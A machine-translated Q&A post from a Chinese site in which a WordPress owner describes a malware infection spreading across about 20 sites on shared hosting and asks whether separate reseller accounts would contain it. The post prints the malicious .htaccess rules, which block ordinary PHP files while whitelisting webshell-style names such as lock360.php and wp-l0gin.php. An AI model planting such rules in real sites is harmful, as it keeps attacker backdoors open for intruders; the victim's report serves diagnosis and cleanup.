被文件感染的wordpress站点。我会更好地创建转售商帐户吗?

问题描述 投票:0回答:1
恶意文件以某种方式上传到WordPress主题,.htaccess and Index.php。问题在于它在我的整个帐户中填充了,并在同一服务器上感染了大约20个其他站点。 我正在慢慢恢复每个站点。目前托管了Ionos和我获得的帮助并不是最好的(希望我注册几个Hi-Drive帐户以修复网站)。

我最好在某个地方注册一个转售商帐户并在其帐户上注册每个站点?至少如果再次发生这种情况,它将仅是一个站点。

index.php文件中的内容:

<FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php|mah.php|jp.php|ext.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>

.htaccess文件中的内容是:

<FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php|mah.php|jp.php|ext.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>

到目前为止,我只是使用Ionos备份选项来获取一周前的.htaccess和index.php并覆盖不良文件。问题是这大约超过30个文件夹。
    

从干净的备份中重建通常是最安全的赌注,但是加强安全措施对于防止重新感染至关重要。
计算机

wordpress .htaccess malware
1个回答
0
投票
最新问题
© www.soinside.com 2019 - 2025. All rights reserved.